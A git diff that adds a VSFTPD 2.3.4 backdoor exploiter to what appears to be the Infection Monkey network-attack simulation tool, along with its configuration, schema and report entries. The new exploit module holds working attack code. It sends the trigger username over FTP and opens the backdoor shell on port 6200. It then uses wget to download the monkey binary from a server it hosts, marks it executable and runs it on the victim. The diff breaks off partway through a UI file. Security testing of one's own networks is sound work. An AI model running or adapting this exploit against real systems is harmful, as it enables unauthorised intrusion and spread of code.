diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index d9eaefa7c..efd9efcdc 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -44,7 +44,8 @@ "SambaCryExploiter", "Struts2Exploiter", "WebLogicExploiter", - "HadoopExploiter" + "HadoopExploiter", + "VSFTPDExploiter" ], "finger_classes": [ "SSHFinger", diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index 0d4300b5f..ce42d6bcc 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -50,3 +50,4 @@ from infection_monkey.exploit.struts2 import Struts2Exploiter from infection_monkey.exploit.weblogic import WebLogicExploiter from infection_monkey.exploit.hadoop import HadoopExploiter from infection_monkey.exploit.mssqlexec import MSSQLExploiter +from infection_monkey.exploit.vsftpd import VSFTPDExploiter diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py new file mode 100644 index 000000000..1d99f130e --- /dev/null +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -0,0 +1,149 @@ +""" + Implementation is based on VSFTPD v2.3.4 Backdoor Command Execution exploit by metasploit + https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb + only vulnerable version is "2.3.4" +""" + + +import StringIO +import logging +import paramiko +import socket +import time +from common.utils.exploit_enum import ExploitType +from infection_monkey.exploit import HostExploiter +from infection_monkey.exploit.tools import build_monkey_commandline +from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth +from infection_monkey.model import MONKEY_ARG, CHMOD_MONKEY, RUN_MONKEY, WGET_HTTP_UPLOAD, DOWNLOAD_TIMEOUT +from infection_monkey.network.tools import check_tcp_port +from infection_monkey.exploit.web_rce import WebRCE +from logging import getLogger + +LOG = getLogger(__name__) + +__author__ = 'D3fa1t' + +FTP_PORT = 21 # port at which vsftpd runs +BACKDOOR_PORT = 6200 # backdoor port +RECV_128 = 128 # In Bytes +UNAME_M = "uname -m" +ULIMIT_V = "ulimit -v " # To increase the memory limit +UNLIMITED = "unlimited;" +USERNAME = b'USER D3fa1t:)' # Ftp Username should end with :) to trigger the backdoor +PASSWORD = b'PASS please' # Ftp Password +FTP_TIME_BUFFER = 1 # In seconds + +class VSFTPDExploiter(HostExploiter): + _TARGET_OS_TYPE = ['linux'] + + def __init__ (self, host): + self._update_timestamp = 0 + super(VSFTPDExploiter, self).__init__(host) + self.skip_exist = self._config.skip_exploit_if_file_exist + + def socket_connect(self, s, ip_addr, port): + try: + s.connect((ip_addr, port)) + return True + except socket.error as e: + LOG.error('Failed to connect to %s', self.host.ip_addr) + return False + + def socket_send_recv(self, s, message): + try: + s.send(message) + return s.recv(RECV_128).decode('utf-8') + except socket.error as e: + LOG.error('Failed to send payload to %s', self.host.ip_addr) + return False + + def socket_send(self, s, message): + try: + s.send(message) + return True + except socket.error as e: + LOG.error('Failed to send payload to %s', self.host.ip_addr) + return False + + def exploit_host(self): + LOG.info("Attempting to trigger the Backdoor..") + ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + if self.socket_connect(ftp_socket, self.host.ip_addr, FTP_PORT): + ftp_socket.recv(RECV_128).decode('utf-8') + + if self.socket_send_recv(ftp_socket, USERNAME + '\n'): + time.sleep(FTP_TIME_BUFFER) + self.socket_send(ftp_socket, PASSWORD + '\n') + ftp_socket.close() + LOG.info('Backdoor Enabled, Now we can run commands') + else: + LOG.error('Failed to trigger backdoor on %s' , self.host.ip_addr) + return False + + LOG.info('Attempting to connect to backdoor...') + backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + if self.socket_connect(backdoor_socket, self.host.ip_addr, BACKDOOR_PORT): + LOG.info('Connected to backdoor on %s:6200', self.host.ip_addr) + + uname_m = str.encode(UNAME_M + '\n') + response = self.socket_send_recv(backdoor_socket, uname_m) + + if response: + LOG.info('Response for uname -m: %s', response) + if '' != response.lower().strip(): + # command execution is successful + self.host.os['machine'] = response.lower().strip() + self.host.os['type'] = 'linux' + else : + LOG.info("Failed to execute command uname -m on victim %r ", self.host) + + src_path = get_target_monkey(self.host) + LOG.info("src for suitable monkey executable for host %r is %s", self.host, src_path) + + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", self.host) + return False + + # Create a http server to host the monkey + http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path) + dropper_target_path_linux = self._config.dropper_target_path_linux + LOG.info("Download link for monkey is %s", http_path) + + # Upload the monkey to the machine + monkey_path = dropper_target_path_linux + download_command = WGET_HTTP_UPLOAD % {'monkey_path': monkey_path, 'http_path': http_path} + download_command = str.encode(str(download_command) + '\n') + LOG.info("Download command is %s", download_command) + if self.socket_send(backdoor_socket, download_command): + LOG.info('Monkey is now Downloaded ') + else: + LOG.error('Failed to download monkey at %s', self.host.ip_addr) + return False + + http_thread.join(DOWNLOAD_TIMEOUT) + http_thread.stop() + + # Change permissions + change_permission = CHMOD_MONKEY % {'monkey_path': monkey_path} + change_permission = str.encode(str(change_permission) + '\n') + LOG.info("change_permission command is %s", change_permission) + backdoor_socket.send(change_permission) + + # Run monkey on the machine + parameters = build_monkey_commandline(self.host, get_monkey_depth() - 1) + run_monkey = RUN_MONKEY % {'monkey_path': monkey_path, 'monkey_type': MONKEY_ARG, 'parameters': parameters} + + # Set unlimited to memory + run_monkey = ULIMIT_V + UNLIMITED + run_monkey # we don't have to revert the ulimit because it just applies to the shell obtained by our exploit + run_monkey = str.encode(str(run_monkey) + '\n') + time.sleep(FTP_TIME_BUFFER) + if backdoor_socket.send(run_monkey): + LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, run_monkey) + return True + else: + return False + + + diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index 95d40d577..0844969a0 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -91,6 +91,13 @@ SCHEMA = { "HadoopExploiter" ], "title": "Hadoop/Yarn Exploiter" + }, + { + "type": "string", + "enum": [ + "VSFTPDExploiter" + ], + "title": "VSFTPD Exploiter" } ] }, @@ -722,7 +729,8 @@ SCHEMA = { "ElasticGroovyExploiter", "Struts2Exploiter", "WebLogicExploiter", - "HadoopExploiter" + "HadoopExploiter", + "VSFTPDExploiter" ], "description": "Determines which exploits to use. " + WARNING_SIGN diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index a19dc03c0..21dcea0bc 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -41,7 +41,8 @@ class ReportService: 'Struts2Exploiter': 'Struts2 Exploiter', 'WebLogicExploiter': 'Oracle WebLogic Exploiter', 'HadoopExploiter': 'Hadoop/Yarn Exploiter', - 'MSSQLExploiter': 'MSSQL Exploiter' + 'MSSQLExploiter': 'MSSQL Exploiter', + 'VSFTPDExploiter': 'VSFTPD Backdoor Exploited' } class ISSUES_DICT(Enum): @@ -57,7 +58,8 @@ class ReportService: WEBLOGIC = 9 HADOOP = 10 PTH_CRIT_SERVICES_ACCESS = 11, - MSSQL = 12 + MSSQL = 12, + VSFTPD = 13 class WARNINGS_DICT(Enum): CROSS_SEGMENT = 0 @@ -254,6 +256,7 @@ class ReportService: else: processed_exploit['type'] = 'hash' return processed_exploit + return processed_exploit @staticmethod def process_smb_exploit(exploit): @@ -289,6 +292,12 @@ class ReportService: processed_exploit['type'] = 'rdp' return processed_exploit + @staticmethod + def process_vsftpd_exploit(exploit): + processed_exploit = ReportService.process_general_creds_exploit(exploit) + processed_exploit['type'] = 'vsftp' + return processed_exploit + @staticmethod def process_sambacry_exploit(exploit): processed_exploit = ReportService.process_general_creds_exploit(exploit) @@ -355,7 +364,8 @@ class ReportService: 'Struts2Exploiter': ReportService.process_struts2_exploit, 'WebLogicExploiter': ReportService.process_weblogic_exploit, 'HadoopExploiter': ReportService.process_hadoop_exploit, - 'MSSQLExploiter': ReportService.process_mssql_exploit + 'MSSQLExploiter': ReportService.process_mssql_exploit, + 'VSFTPDExploiter': ReportService.process_vsftpd_exploit } return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit) @@ -644,6 +654,8 @@ class ReportService: issues_byte_array[ReportService.ISSUES_DICT.ELASTIC.value] = True elif issue['type'] == 'sambacry': issues_byte_array[ReportService.ISSUES_DICT.SAMBACRY.value] = True + elif issue['type'] == 'vsftp': + issues_byte_array[ReportService.ISSUES_DICT.VSFTPD.value] = True elif issue['type'] == 'shellshock': issues_byte_array[ReportService.ISSUES_DICT.SHELLSHOCK.value] = True elif issue['type'] == 'conficker': diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index 43be6367c..eb94792ab 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -31,7 +31,8 @@ class ReportPageComponent extends AuthComponent { WEBLOGIC: 9, HADOOP: 10, PTH_CRIT_SERVICES_ACCESS: 11, - MSSQL: 12 + MSSQL: 12, + VSFTPD: 13 }; Warning = @@ -298,20 +299,24 @@ class ReportPageComponent extends AuthComponent { return x === true; }).length > 0 ?